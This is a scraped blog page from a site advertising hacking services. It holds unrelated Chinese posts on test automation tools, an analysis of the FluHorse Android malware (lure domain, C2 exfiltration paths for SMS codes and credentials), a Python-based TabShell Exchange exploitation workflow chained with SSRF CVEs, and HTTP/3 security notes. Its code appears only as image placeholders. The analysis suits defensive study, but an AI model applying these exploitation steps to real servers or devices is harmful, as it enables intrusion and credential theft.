Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863111082

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

測試是創建任何軟件產品不可避免的一部分。但手動測試需要花費大量時間和精力，並且可能導致產品發布延遲。自動化測試可以幫助您提高測試工作的效率並加快解決方案的發布。然而，為了確保自動化測試真正帶來最好的結果，選擇合適的自動化軟件測試工具至關重要。

在本文中，我們簡要概述了我們在Apriorit 實施的測試自動化工具。本文將對QA 專家在他們的項目中尋找正確的方法和自動化測試工具很有用。

什麼是自動化測試？自動化測試是一種使用特殊自動化工具執行回歸測試和單元測試等軟件測試的技術。這種類型的測試與手動測試相反，在手動測試中，測試用例套件由QA 專家手動創建和執行。

自動化測試適用於需要多次重複測試的大型項目，也適用於最初手動測試但需要重新測試的項目。對於短期項目，手動測試更適合，因為它比自動化測試更靈活、更容易實施。您還可以使用手動測試來檢查產品的可用性。

使用軟件工程中的自動化測試工具，您可以比較預期和收到的測試結果，並獲得不同格式的非常詳細的報告。這種方法的一個有用特性是能夠在適當的地方重用測試用例。使用自動化測試，您可以減少手動測試的數量。

測試自動化有什麼好處？讓我們從探索自動化測試相對於手動測試的一些主要優勢開始。了解它們將幫助您了解軟件測試自動化工具是否對您的項目有益。

image.png

自動化測試的優勢

1. 測試速度提升手動測試需要大量的日常工作。相比之下，自動化測試可以讓您在重複性任務上節省大量時間。此外，借助自動化軟件測試工具，您可以全天24 小時執行測試，而無需QA 專家在場並觀察過程。您可以在晚上運行一個腳本，早上就已經有了測試結果。

2. 降低測試成本從長遠來看，自動化降低了測試成本。為應用程序創建測試腳本後，您可以多次重複使用它以發現由於產品更改而出現的錯誤。

3. 提高測試精度自動化測試消除了人為錯誤的可能性。即使是專業的QA 專家也可能會犯無意的錯誤。正確組合的自動化腳本可提供最準確和詳細的測試結果。

4. 更大的測試覆蓋率自動化測試允許您模擬大量用戶在更多設備上的操作，這比手動測試專家在同一時間段內可能涵蓋的範圍要多。產品的測試覆蓋率越高，及時發現潛在錯誤的機會就越大。

5. 早期錯誤檢測確保在引入任何重大更改後測試您的產品。通過這種方式，您可以確保及早發現錯誤和錯誤，並在它們造成嚴重損害之前解決它們。

但是，如果沒有合適的工具，就不可能正確實施自動化測試。在下一節中，我們將討論最佳自動化測試工具的關鍵標準，以幫助您選擇最適合您項目需求的自動化測試工具或框架。

如何選擇最好的自動化測試工具？您可以從確定您對用於軟件測試的自動化工具的要求和評估您團隊的技能開始。然後，您可以根據這些信息評估不同的測試自動化工具和框架及其功能。

image.png

一、項目要求每個項目都是獨一無二的。因此，您應該根據特定項目的要求來選擇最佳的自動化測試工具。對於您的項目，您可以根據要求選擇自動化測試工具，例如：

被測應用類型

支持的平台

支持的瀏覽器

支持的設備

支持的腳本語言

除了這些要求之外，您還可以考慮對測試項目至關重要的其他要求。

二、 QA團隊的編程能力根據QA 團隊的編程技能水平，您需要從兩種類型的自動化測試框架中進行選擇：

無腳本框架。如果您的測試團隊中沒有人具備編程技能，最好使用無腳本框架。選擇特定工具時，請特別注意項目所需的測試複雜程度：可以使用免費工具和服務實施簡單的自動化測試，而具有復雜邏輯的測試可能需要部署付費測試自動化解決方案。

編碼框架。此選項適用於具有強大編程技能的QA 專家。與無腳本替代方案相比，編碼框架更靈活且更易於維護。此外，建議使用編碼框架來測試處理視頻或音頻的產品。當您開始使用編碼框架進行自動化測試時，您將需要花費額外的時間來創建測試用例。但稍後，您將能夠通過重用這些測試用例來節省時間並加快測試過程。

三、CI/CD 集成如果您使用或計劃使用持續集成和持續交付（CI/CD），我們建議您選擇支持CI/CD 解決方案的框架。例如，Jenkins、TeamCity 和Bamboo 等CI/CD 解決方案開箱即用地支持Java、C# 和Python。但是在將這些服務器與其他語言和框架集成時可能會遇到一些困難。

此外，如果您打算使用無腳本框架，值得注意的是並非所有框架都可以與CI/CD 系統集成。

四、報告格式報告是測試自動化框架中最重要的組成部分。完成測試過程後，測試結果報告將幫助您分析應用程序中的所有缺陷。軟件測試中不同的自動化測試工具可以為您提供以下形式的報告：

測試過程視頻記錄

檢測到的錯誤的屏幕截圖

檢測到錯誤的堆棧跟踪

失敗測試步驟的詳細報告

時間報告

根據項目的需要，您可以選擇具有不同報告選項的自動化測試工具。大多數工具都可以創建錯誤和堆棧跟踪的屏幕截圖，並為您提供有關測試時間的信息。但只有少數人可以創建視頻記錄。

視頻記錄可以讓您在測試期間實際看到系統的行為。通過這種方式，您可以花更少的時間來確定特定錯誤的原因。但是視頻錄製會消耗額外的資源，因此由於負載增加，您將能夠運行更少的測試。不過，並非所有測試都需要錄像。例如，在API 測試期間通常不需要視頻報告。

五、工具實施成本雖然測試自動化可以降低測試產品的成本，但實施自動化工具的費用也會有所不同。尤其要注意兩個因素：

框架的成本。有免費產品，但它們的功能往往有限，並不適合所有人。付費產品反過來提供了更多的測試功能，但增加了項目的測試自動化費用。

參與自動化測試過程的專家成本。這可能包括培訓人員使用所選工具執行測試或僱用額外人員在您的項目中實施自動化測試的成本。

這些是為您的項目選擇正確的自動化測試工具的一些關鍵標準。此外，您可以將您的特定要求添加到此列表中。提出最終需求列表後，您可以開始按特定功能比較不同的自動化測試工具。為了讓您更輕鬆地做出選擇，在下一節中，我們將分享Apriorit QA 專家常用的軟件測試自動化工具和框架列表。

5個最好的自動化測試工具市場上有很多自動化軟件測試工具，但並非所有工具都適合您的項目。我們想分享我們在Apriorit 成功使用的自動化測試工具列表。此列表中提供的工具可供不同級別的測試工程師使用，用於測試針對不同平台使用不同語言編寫的產品。

image.png

1. SeleniumSelenium是最流行的自動化網站和Web 應用程序測試框架之一。這個開源框架適合具有高級編程技能的QA 工程師。

Selenium包括幾個組件：

Selenium IDE（集成開發環境）

Selenium RC（遠程控制）

Selenium WebDriver

Selenium Grid

這四個組件有自己的測試自動化方法，因此您可以選擇最適合您目標的方法。

image.png

屏幕截圖1. Selenium 界面

Selenium 是一種靈活的工具，允許您創建用於自動化測試的複雜腳本。您可以使用Selenium 進行跨平台測試。但是，考慮到您可以測試的平台集可能會因您選擇的語言而異。

Selenium 的最大優勢之一是其龐大的社區。如果您在實施此測試工具時需要幫助，您可以輕鬆地從其他Selenium 用戶那裡獲得幫助。

Selenium 可能存在的缺點包括測試支持成本高、初始階段創建測試用例的速度慢以及QA 專家進入門檻高，因為它是一個編碼框架，需要強大的編程技能。

2.SelenideSelenide，一個易於使用的開源Java 測試框架，基於Selenium WebDriver。 Selenide 擴展了Selenium WebDriver和JUnit的功能。在Apriorit，我們使用此工具來快速測試尚未使用自動化工具測試的產品。

image.png

截圖2. Selenide 界面

Selenide 是跨平台的，並且有透明的WebDriver。 WebDriver 幫助您解決超時問題並允許測試Ajax 技術。使用Selenide，您不需要直接操作WebDriver，因為Selenide 控制了瀏覽器。

Selenide 的主要缺點是它只適合使用Java 編寫測試。

3. Telerik Test StudioTelerik Test Studio是軟件測試中的頂級自動化工具之一，可廣泛用於各種測試，包括移動應用程序測試、回歸測試、功能測試和負載測試。雖然它是一個無腳本框架，但您可以在必要時使用編程語言指定它的一些要求。

image.png

截圖3. Telerik Test Studio 界面

Telerik 支持不同的系統，因此非常適合跨平台和跨瀏覽器的應用程序測試。內置記錄器和自動回放允許您對多個測試使用相同的腳本，這有助於您節省時間並提高測試速度。

您可以使用Telerik Test Studio 的試用版30 天。之後，您需要購買許可證。使用Telerik Test Studio，您需要為版本控製配置一個插件。此外，與其他自動化測試工具相比，Telerik 提供了一種不太舒適且更難處理對象屬性的方式。

4.Katalon StudioKatalon Studio是軟件工程中一個相對簡單的自動化測試工具，它使用預定義的工件結構，例如測試用例、測試套件、測試對象和報告。這極大地簡化了QA 專家的任務並加快了測試速度。

image.png

截圖4. Katalon Studio 界面

該框架支持關鍵字驅動的測試。為了創建測試用例，QA 專家使用關鍵字來指示用戶對測試應用程序的操作。除了標準關鍵字外，您還可以添加自定義關鍵字。此功能將幫助編程知識有限的QA 專家更快地創建測試套件。為了更快地執行測試，您還可以使用測試套件集合功能並行或連續運行多個測試套件。

社區小是Katalon Studio 的缺點之一。如果您遇到此框架的問題，您將很難獲得任何支持。其次，您需要購買許可證才能獲得更多功能，因為只有基本功能是免費提供的。

5.TestCompleteTestComplete是一個無腳本框架，還支持多種編程語言。

image.png

截圖5. TestComplete 界面

使用TestComplete 框架，QA 專家可以記錄並在以後回放測試場景，並且可以在不同的測試階段插入檢查點以檢查結果。使用對象識別引擎，TestComplete 可以識別動態界面元素。這對於用戶界面經常變化的應用程序特別有用。

至於TestComplete的缺點，成本高，有一些穩定性問題，缺乏透明的文檔。

測試自動化工具比較在下表中，我們對本文討論的所有五種頂級測試自動化工具進行了比較：

image.png

結論自動化測試使您能夠更快、更準確地處理測試任務。但為了獲得最佳結果，選擇正確的測試工具很重要。沒有適用於所有項目的通用解決方案。選擇合適的工具取決於您的項目要求、您的預算和QA 專家的編程技能。

HireHackking

微信截图_20230512233738.png

Check Point的研究人員最近發現了一種名為FluHorse的新型惡意軟件。該惡意軟件具有幾個模仿合法應用程序的惡意安卓應用程序，其中大多數安裝量超過100萬次。這些惡意應用程序竊取受害者的憑據和雙因素身份驗證（2FA）代碼。 FluHorse針對東亞市場的不同領域，並通過電子郵件進行傳播。在某些情況下，第一階段攻擊中使用的電子郵件屬於知名對象。惡意軟件可以在數月內不被發現，這使其成為一種持久、危險且難以發現的威脅。

1.png

其中一個惡意軟件樣本在3個月後仍未在VirusTotal（VT）上檢測到

攻擊者使用規避技術、模糊處理和執行前的長時間延遲等技巧來躲過虛擬環境的檢測。通常，這些技巧都有自定義實現，需要開發者付出大量的努力。

令人驚訝的是，FluHorse內部沒有使用自定義實現的技巧，因為惡意軟件的開發者在開發過程中完全依賴開源框架。儘管一些應用程序部分是用Kotlin創建的，但惡意功能是用Flutter實現的。 Flutter是一個開源的用戶界面軟件開發工具包，由谷歌創建。它用於為各種平台開發跨平台應用程序，包括用於移動設備的Android和iOS，使用單個代碼庫。 Flutter之所以成為惡意軟件開發人員的一個有吸引力的選擇，是因為它使用自定義虛擬機（VM）來支持不同的平台，而且它易於創建GUI元素。此外，由於自定義的虛擬機，分析此類應用程序非常複雜，這使得該框架成為Android網絡釣魚攻擊的完美解決方案。

模擬應用程序攻擊者會為每個國家的目標開發一個虛假應用程序：攻擊者努力仔細模仿所有關鍵細節，以避免引起任何懷疑。

網絡釣魚讓我們看一下如何在應用程序的不同變體中實現網絡釣魚，有趣的是，惡意應用程序不包含任何東西，除了為受害者提供輸入可能性的幾個窗口副本。沒有添加額外的函數或檢查。這種刻意的簡單性讓我們得出結論，惡意軟件的開發者並沒有在他們創建的編程部分投入太多精力，又或者他們可能故意做出這個決定，以進一步減少被安全解決方案檢測到的機會。

不管他們的意圖是什麼，這個計劃都很有效。受害者輸入敏感數據後，這些數據會被洩露到CC服務器。與此同時，惡意軟件要求受害者在“處理數據”時等待幾分鐘。在這一步中，短信攔截功能發揮作用，將所有傳入的短信流量重定向到惡意服務器。如果攻擊者輸入被盜憑證或信用卡數據，然後被要求輸入雙因素身份驗證（2FA）代碼，這也會被攔截。網絡釣魚方案如下：

4.png

惡意軟件如何進行網絡釣魚攻擊

請注意，根據惡意應用程序的類型（針對電子收費、銀行或約會用戶），可能不需要憑據或信用卡號。

感染鍊和目標在受害者的設備上安裝惡意應用程序之前，必須先發送惡意應用程序。這就是電子郵件誘餌派上用場的地方。我們追踪了不同類型惡意應用程序的感染鏈，並在這些電子郵件的收件人中發現了多個知名對象，包括政府部門和大型工業公司的員工。

電子郵件誘餌很好地利用了社會工程，並與隨後安裝的惡意APK的所謂目的一致：支付通行費。

這是一個帶有fetc.net.tw-notice@twfetc.com發件人地址：

5.png

攻擊者發送給政府接收者的電子郵件示例

攻擊者使用的惡意fetc-net[.]com域與fetc公司的官方網站fetc.net.tw非常相似。

在這個惡意網站上，攻擊者添加了一個額外的保護層，以確保只有受害者才能下載APK：如果目標的用戶代理與預期的用戶代理匹配，就會下載APK。此檢查是通過客戶端JavaScript執行的：

6.png

惡意軟件安裝完成後，需要短信權限：

7.png

ETC APK請求SMS權限

在此步驟中獲得的權限將在受害者輸入敏感數據後生效。

惡意電子收費APK此應用程序僅包含3個窗口：

8.png

惡意ETC APK按順序顯示的窗口

第一個窗口詢問用戶憑證，第二個窗口詢問信用卡數據。所有這些敏感數據都被洩露到惡意的CC服務器。接下來，第三個窗口要求用戶等待10分鐘，因為“系統繁忙”。希望用戶關閉應用程序，或者至少在合理的時間內不被懷疑。當用戶被“系統繁忙”消息誤導而產生虛假的安全感時，攻擊者會執行所有必要的操作，即攔截所有帶有2FA代碼的短信，並利用被盜數據。

這個誘餌應用程序的整個GUI看起來像是原始ETC應用程序的一個簡單副本，用於收取通行費。以下是惡意和合法應用程序入口窗口的可視化比較：

9.png

原始輸入窗口(左)和惡意APK輸入窗口(右)

原始應用程序不顯示任何用於登錄或輸入用戶憑據的字段。相反，有一個單獨的窗口用於此目的：

10.png

原始應用程序登錄表格

惡意VPBank APK此應用程序僅包含2個窗口：

11.png

惡意VPBank APK按順序顯示的窗口

其原理與其他惡意APK相同：要求用戶輸入憑據，然後等待15分鐘（而惡意ETC APK則為10分鐘）。在此期間，惡意軟件攔截所有傳入的SMS，從而為攻擊者提供他們可能需要的所有2FA代碼。請注意，此應用程序不要求提供信用卡詳細信息。

惡意和合法應用程序登錄窗口之間的比較：

12.png

原始登錄窗口（左）和惡意APK輸入窗口（右）

如上所示，即使缺少某些GUI元素，惡意副本看起來也很好。

惡意約會APK約會應用程序不包含任何窗口。相反，它實際上充當了一個瀏覽器，引導用戶進入釣魚約會網站。但是，竊取和處理數據的原理是一樣的。

我們沒有與受害者交互的所有步驟的屏幕截圖，因為在撰寫本文時，負責處理從該APK竊取的數據的惡意服務器尚未激活。根據代碼，只有信用卡數據被盜，不需要憑證。

13.png

APK中顯示的釣魚交友網站窗口

所示消息的翻譯如下：

14.png

網絡釣魚網站上顯示的消息翻譯。

技術細節與分析純Android應用程序相比，分析基於flutter的應用程序需要一些中間步驟才能達到目的。

深度分析如上所述，Flutter使用自定義的虛擬環境來支持具有單一代碼庫的多平台開發。開發過程中使用了一種名為Dart的特定編程語言。分析Flutter平台代碼變得更容易了，因為它是一個開源項目，但仍然是一個繁瑣的過程。

15.png

Flutter Github頁面中的Dart演示

讓我們來看看在處理Flutter運行時的特殊領域時遇到的一些複雜情況。我們用哈希2811f0426f23a7a3b6a8d8b7e1bcd79e495026f4dcdc1c2fd218097c98de684解剖了一個APK。

ARM的Flutter運行時使用自己的堆棧指針寄存器（R15）而不是內置的堆棧指針（SP）。哪個寄存器用作堆棧指針在代碼執行或反向工程過程中沒有區別。然而，這對反編譯器來說有很大的不同。由於寄存器的使用不規範，會生成錯誤且難看的偽代碼。

啟動惡意軟件分析的一個好方法是確定與CC服務器的通信協議。這可以說明很多惡意功能。裡面有一個字符串，對應於我們在釣魚電子郵件中看到的網站：

16.png

惡意APK中字符串中CC服務器的地址

然而，當我們試圖找到對此字符串的一些引用時，分析失敗：

17.png

IDA中沒有對CC服務器字符串的引用

我們的目標是創建對該字符串的引用，以定位執行CC通信的代碼。

Flutter -re-demo和reFlutter可以用來處理Flutter應用程序，其主要思想是使用運行時快照來創建Dart對象並查找對它們的引用。 reFlutter的主要目的是收集函數的名稱，而flutter re-demo允許我們處理在應用程序執行期間收集的內存轉儲。

然而，除了內存快照之外，還需要一些更多的運行時信息。 Flutter運行時使用堆來創建對象，並將指向已創建對象的指針存儲在一個稱為對像池的特殊區域中。指向該池的指針被傳遞到寄存器X27中的方法。我們需要找到對像池的位置。

flutter-re-demo使用Frida收集內存轉儲並獲取對像池地址。如果我們使用在flutter-re-demo存儲庫中可用的dump_flutter_memory.js腳本運行APK，我們會看到所需的地址：

18.png

帶有所需地址的Frida腳本輸出

現在我們已經擁有了開始一個高效的逆向工程所需的所有元素。

在用map_dart_vm_memory.py加載轉儲文件並運行create_dart_objects.py腳本後，我們現在至少可以看到一些對象：

19.png

腳本創建的對象

有一個名為create_dart_objects.py的腳本，用於創建dart對象。該腳本通過遍歷對像池、解析記錄和創建對象來工作。腳本沒有關於這些對象的信息，腳本會為它們創建以下描述對象格式的結構：

20.png

這裡的NNN被“class id”取代，如下所示：

21.png

由create_dart_objects.py創建的結構

在Flutter應用程序逆向工程時，研究人員注意到最後一個字段（unk）經常被用作指針。可以考慮將該字段從簡單的QWORD轉換為OFFSET QWORD。這可能會給帶來一些誤報，但也可能非常有助於創建參考。因此，我們決定更改由腳本創建的unkin結構的字段類型。以下是對原始腳本的更改：

23.png

對dart_obj_create.py腳本的更改

研究人員提到的存儲庫包含一個用於創建對Dart對象引用的腳本：add_xref_to_art_objects.py。當運行它時，該腳本會遍歷代碼並創建對create_Dart_objects.py腳本創建的Dart對象的引用。不過此時仍然只有一個對我們感興趣的字符串的引用，即來自對像池的引用：

24.png

沒有對CC服務器URL的引用

我們的第一個想法是，也許根本沒有交叉引用？不過這不可能，存在幾個交叉引用，例如，這個對象就具有引用：

25.png

幾個從函數到對象的引用

這是從函數中引用的對象：

26.png

引用在函數代碼中的外觀

通過瀏覽add_xref_to_dart_objects.py的代碼，我們可以看到文件dart_obj_xref.py。該文件還遍歷代碼，嘗試根據寄存器X27提取對數據的引用，計算這些引用的偏移量，最後創建IDA引用。對代碼的分析表明，原始腳本支持訪問該對象的兩種ARM代碼變體：

27.png

代碼是否使用了一些其他指令來引用寄存器X27？讓我們檢查一下。為了方便起見，讓我們修改腳本，並為用X27處理的每條指令添加一條註釋：

28.png

dart_obj_xref.py修改

然後，我們可以檢查用X27處理的結構的反彙編程序列表，這些構造沒有附加對Dart對象的註釋引用。我們可以通過IDA生成一個列表文件並使用grep實用程序進行grep，從而部分自動化這些操作，如下所示：

29.png

首先，grep查找具有X27的所有字符串。然後，所有這些字符串都給了第二個grep命令，只打印那些不包含對Dart對象引用的字符串。因此，我們只看到不受支持的X27引用。

當檢測到不受支持的X27構造時，我們將在腳本中添加支持該構造的代碼。經過幾次迭代，我們終於獲得了對CC地址字符串的引用：

30.png

對CC地址字符串的引用

讓我們從sub_70FD611C0C開始檢查這些函數。簡要概述顯示，當與CC服務器通信時，此函數打算使用路徑為“/addcontent3”的HTTP POST方法來執行：

31.png

sub_70FD611C0C函數的偽代碼

另一個Dart對像也有對這個函數的引用：

32.png

對Dart對象的引用

當我們遍歷這些引用時，我們最終得到了帶有以下代碼的函數：

33.png

負責監聽所有傳入短信的代碼

此函數為所有傳入的短信安裝一個偵聽器。

為了確保我們做了正確的靜態分析，我們在運行時在一個真實的設備上檢查了這個函數。實際上，我們捕獲了一個發送到CC服務器的POST請求。

這是設備收到帶有“Fdsa”文本的短信後的CC請求示例：

34.png

因此，使用sub_70FD611C0C函數將短信洩露到CC服務器

除了被洩露的數據類型和服務器路徑之外，函數sub_70FD61EBC4和sub_70FD61EECC看起來與已經分析的sub_70FD 611C0C非常相似。這些函數分別使用路徑“/addcontent”和“/addcontent2”，用於洩露受害者的憑據和支付卡信息。

DEX代碼中沒有服務器通信的痕跡，因此我們可以假設所有通信都位於應用程序的Flutter部分。在分析了與命令控制服務器通信相關的所有功能之後，我們可以描述網絡協議。

CC通信CC協議旨在將數據從受攻擊設備發送到服務器。沒有命令可以在相反的方向上發送，即從服務器發送到受攻擊設備。 HTTPS用於傳輸數據，並且使用了幾個終端。

以下是我們在分析樣本中遇到的每個終端的介紹：

35.png

用於約會惡意應用程序的網絡誘餌變體使用了非常相似的協議。這是一個洩露信用卡數據的示例：

HireHackking

0x00 前言遠程執行Exchange Powershell命令可以通過Powershell建立powershell session 實現。而在滲透測試中，我們需要盡可能避免使用Powershell，而是通過程序去實現。本文將要介紹通過Python實現遠程執行Exchange Powershell命令的細節，分享使用Python實現TabShell利用的心得。

0x01 簡介本文件將介紹以下內容：

執行Exchange Powershell 命令的實際方法

開發細節

TabShell利用細節

0x02 執行Exchange Powershell 命令的實際方法1.使用Powershell連接Exchange服務器，執行Exchange Powershell命令命令示例：

1.png

需要注意以下問題：

需要域內主機上執行

需要fqdn，不支持IP

連接url可以選擇http或者https

認證方式可以選擇Basic或者Kerberos

2.使用Python連接Exchange服務器，執行Exchange Powershell命令這裡需要使用pypsrp

命令示例：

2.png

0x03 開發細節這裡需要了解具體的通信格式，我採用的方法是使用pypsrp，打開調試信息，查看具體發送的數據格式

1.啟動調試信息將調試信息寫到文件，代碼如下：

3.png

2.增加調試輸出內容修改文件pypsrp/wsman.py，在def send(self, message: bytes)中添加調試輸出信息

具體代號位置：

https://github.com/jborean93/pypsrp/blob/master/src/pypsrp/wsman.py#L834，添加代碼：

4.pnghttps://github.com/jborean93/pypsrp/blob/master/src/pypsrp/wsman.py#L841，添加代碼：

5.png輸出結果顯示如下圖

6.png

3.數據包數據結構可參考之前的文章《渗透技巧——远程访问Exchange Powershell》

經過對比分析，在編寫程序上還需要注意以下細節：

(1)Kerberos認證的實際情況

示例代碼：

7.png

(2)通信數據格式

類型為POST

header需要包裹：'Accept-Encoding': 'identity'

(3)認證流程

需要先進行Kerberos認證，返回長度為0

再次發送數據，進行通信，返回正常內容

(4)數據編碼

發送和接收的數據平均做了編碼

發送過程序的代碼顯示示例代碼：

8.png

注：

hostname必須為小寫字符

接收過程序的解碼示例代碼：

9.png完整展示示例代碼如下：

10.png 11.png完整代碼的輸出結果如下圖

12.png

0x04 TabShell利用細節TabShell的公開POC使用Powershell連接取接Exchange服務器，執行特殊構造的Exchange Powershell命令接觸，為便於分析中間的通信數據，可以採用以下方法擦拭中間：

1.通過Flask構建本地代理服務器方法可參考之前的文章《ProxyShell利用分析3——添加用户和文件写入》

2.通過Flask實現SSRFSSRF漏洞可選擇CVE-2022-41040或CVE-2022-41080

3.在Flask中輸出中間的通信數據關鍵字代碼示例：

13.png根據通信數據，我們可以很容易地寫出TabShell的Python現代代碼，完整代碼的輸出結果如下圖

14.png

0x05 小結本文件介紹了通過Python 實現遠程執行Exchange Powershell 命令的細節，分享使用Python 實現TabShell 使用的心得。

HireHackking

10. 安全注意事項HTTP/3的安全考慮應該與使用TLS的HTTP/2相當。然而，[HTTP/2] 第10 節中的許多注意事項適用於[QUIC-TRANSPORT]。

10.1. 服務器權限HTTP/3依賴於HTTP對權限的定義。建立權限時的安全考慮在[HTTP]第17.1節中進行討論。

10.2 跨協議攻擊在TLS 和QUIC 握手中使用ALPN 在處理應用層字節之前建立目標應用協議。這確保了終端有強有力的保證，即對等方使用相同的協議。

這並不能保證免受所有跨協議攻擊。我們會在[QUIC- transport]中描述一些方法，可以使用QUIC 數據包的明文對不使用經過身份驗證的傳輸的終端執行請求偽造的方法。

10.3. 中間封裝（Intermediary-Encapsulation）攻擊HTTP/3 字段編碼允許在HTTP 使用的語法中表達不是有效字段名稱的名稱（[HTTP] 的第5.1 節）。包含無效字段名稱的請求或響應必須被視為格式錯誤。因此，中介無法將包含無效字段名稱的HTTP/3 請求或響應轉換為HTTP/1.1 消息。

同樣，HTTP/3 可以傳輸無效的字段值。雖然大多數可以編碼的值不會改變字段解析，但如果逐字翻譯，攻擊者可能會利用回車符(ASCII0x0d)、換行符(ASCII0x0a) 和空字符(ASCII0x00)。任何包含字段值中不允許的字符的請求或響應都必須被視為格式錯誤。有效字符由[HTTP] 第5.5 節中的“field-content”ABNF 規則定義。

10.4 推送響應的可緩存性推送響應沒有來自客戶端的明確請求，請求是由服務端在PUSH_PROMISE幀中提供的。

根據原始服務器在Cache-Control 標頭字段中提供的指導，可以緩存推送的響應。但是，如果一台服務器託管多個租戶，這可能會導致問題。例如，服務器可能會為多個用戶提供其URI 空間的一小部分。

當多個租戶共享同一服務器上的空間時，該服務器必須確保租戶無法推送他們無權訪問的資源的表示。未能強制執行此操作將允許租戶提供將在緩存之外提供的表示，從而覆蓋權威租戶提供的實際表示。

要求客戶端拒絕原始服務器不具有權威性的推送響應（見第4.6 節）。

10.5 拒絕服務注意事項與HTTP/1.1 或HTTP/2 連接相比，HTTP/3 連接可能需要更大的資源承諾才能運行。字段壓縮和流量控制的使用取決於用於存儲更多狀態的資源的承諾。這些功能的設置可確保這些功能的內存承諾受到嚴格限制。

PUSH_PROMISE幀的數量也以類似的方式被限制。接受服務器推送的客戶端應該限制一次發送的Push ID的數量。

處理能力不能像狀態能力那樣得到有效保護。

發送對等方需要忽略的未定義協議元素的能力可能被濫用，從而導致對等方花費額外的處理時間。這可以通過設置多個未定義的SETTINGS參數、未知幀類型或未知流類型來完成。但是請注意，某些用途是完全合法的，例如可理解的擴展和填充以增加對流量分析的阻止力。

所有這些功能，例如服務器推送、未知協議元素、字段壓縮都有合法的用途。只有在不必要或過度使用時，這些功能才會成為一種負擔。

如果不監控此類行為的終端，則會使自己面臨拒絕服務攻擊。實現應該跟踪這些功能的使用，並對它們的使用設置限制。終端可以將可疑的活動視為H3_EXCESSIVE_LOAD類型的連接錯誤，但誤報將導致中斷有效連接和請求。

10.5.1 字段段大小的限制

大字段部分（第4.1 節）可能導致實現提交大量狀態。對路由至關重要的標頭字段可能出現在標頭部分的末尾，這會阻止標頭部分流傳輸到其最終目的地。這種排序和其他原因（例如確保緩存正確性）意味著終端可能需要緩衝整個標頭部分。由於字段部分的大小沒有硬性限制，一些終端可能被迫為標頭字段提交大量可用內存。

終端可以使用SETTINGS_MAX_FIELD_SECTION_SIZE（第4.2.2 節）設置來通知對等方可能適用於字段部分大小的限制。此設置只是建議性的，因此終端可以選擇發送超出此限制的字段部分，並有可能將請求或響應視為格式錯誤。此設置特定於HTTP/3 連接，因此任何請求或響應都可能遇到具有較低未知限制的躍點。中間人可以嘗試通過傳遞不同對等方提供的值來避免這個問題，但他們沒有義務這樣做。

當服務器接收到比它願意處理的更大的字段段時，可以發送一個HTTP 431(請求標頭字段太大)狀態碼([RFC6585])。客戶端可以刪除它無法處理的響應。

10.5.2 連接問題

CONNECT方法可以用於在代理上創建不成比例的負載，因為與創建和維護TCP連接相比，流的創建是相對便宜的。因此，支持CONNECT的代理在接受並發請求的數量上可能比較保守。

代理還可能會在關閉攜帶CONNECT 請求的流之後為TCP 連接維護一些資源，因為傳出TCP 連接仍處於TIME_WAIT 狀態。考慮到這一點，代理可能會在TCP 連接終止後延遲增加QUIC 流限制一段時間。

10.6 使用壓縮當秘密數據在與攻擊者控制的數據相同的上下文中被壓縮時，壓縮可以讓攻擊者恢復秘密數據。 HTTP/3 啟用字段壓縮（第4.2 節）；以下問題也適用於HTTP 壓縮內容編碼的使用，具體請參閱[HTTP] 的第8.4.1 節。

有一些針對壓縮的攻擊利用了網絡的功能(例如，[BREACH])。攻擊者誘導多個包含不同明文的請求，觀察每個請求中生成的密文的長度，當對秘密的猜測正確時，會顯示較短的長度。

在安全通道上通信的實現不得壓縮包含機密和攻擊者控制的數據的內容，除非每個數據源使用單獨的壓縮上下文。如果不能可靠地確定數據源，則不得使用壓縮。

10.7 填充和流量分析填充可用於掩蓋幀內容的確切大小，並用於緩解HTTP 中的特定攻擊，例如，壓縮內容包括攻擊者控制的明文和秘密數據的攻擊（例如，[BREACH]）。

當HTTP/2使用填充幀和其他幀中的填充字段來使連接更能阻止流量分析時，HTTP/3既可以依賴傳輸層填充，也可以使用在7.2.8節和6.2.3節中討論的保留幀和流類型。這些填充方法在填充的粒度、如何根據受保護的信息排列填充、是否在數據包丟失的情況下應用填充以及實現如何控制填充等方面產生不同的結果。

保留流類型可用於在連接空閒時提供發送流量的外觀。因為HTTP流量經常以突發的形式出現，所以可以使用明顯的流量來掩蓋這種突發的時間或持續時間，甚至看起來像是在發送恆定的數據流。然而，由於這些流量仍然是由接收方控制的流量，如果不能及時排出這些流量並提供額外的流量控制信用，可能會限制發送方發送真實流量的能力。

為了緩解依賴於壓縮的攻擊，禁用或限制壓縮可能比填充更可取。

填充方法的使用可能導致保護效果不如看上去那麼明顯。冗餘填充甚至可能適得其反。充其量，填充只會使攻擊者更難通過增加攻擊者必須觀察的幀數來推斷長度信息。錯誤實現的填充方案很容易被繞過。特別是，具有可預測分佈的隨機填充提供的保護非常少。同樣，將有效負載填充到固定大小會在有效負載大小跨越固定大小邊界時暴露信息，如果攻擊者可以控制明文，這是可能的。

10.8 幀解析一些協議元素包含嵌套的長度元素，通常以具有顯式長度的幀的形式包含可變長度整數。這可能會給粗心的實施者帶來安全風險。實現必須確保幀的長度與其包含的字段長度完全匹配。

10.9 早期的數據將0-RTT 與HTTP/3 一起使用會導致重放攻擊。當使用帶有0-RTT 的HTTP/3 時，必須應用[HTTP-REPLAY] 中的反重放緩解措施。在將[HTTP-REPLAY] 應用於HTTP/3 時，對TLS 層的引用是指在QUIC 中執行的握手，而對應用程序數據的所有引用指的是流的內容。

10.10 遷移某些HTTP實現使用客戶端地址進行日誌記錄或訪問控制。由於QUIC客戶端的地址可能會在連接期間發生變化，並且未來版本可能支持同時使用多個地址，因此此類實現將需要主動檢索客戶端的當前地址或相關地址，或者明確接受原始地址可能會更改。

10.11 隱私注意事項HTTP/3的一些特徵為觀察者提供了一個機會，可以在一段時間內關聯單個客戶端或服務器的操作。這包括設置的值，對刺激的反應時間，以及處理由設置控制的任何功能。

就這些在行為上產生可觀察到的差異而言，它們可以用作對特定客戶進行指紋識別的基礎。

HTTP/3 對使用單個QUIC 連接的偏好允許關聯用戶在站點上的活動。重用不同來源的連接允許跨這些來源的活動相關聯。

QUIC的幾個功能要求立即響應，終端可以使用它來測量對等方的延遲，在某些情況下，這可能會出現隱私洩露。

11. IANA 注意事項本文檔註冊了一個新的ALPN 協議ID（第11.1 節）並創建了管理HTTP/3 中代碼點分配的新註冊表。

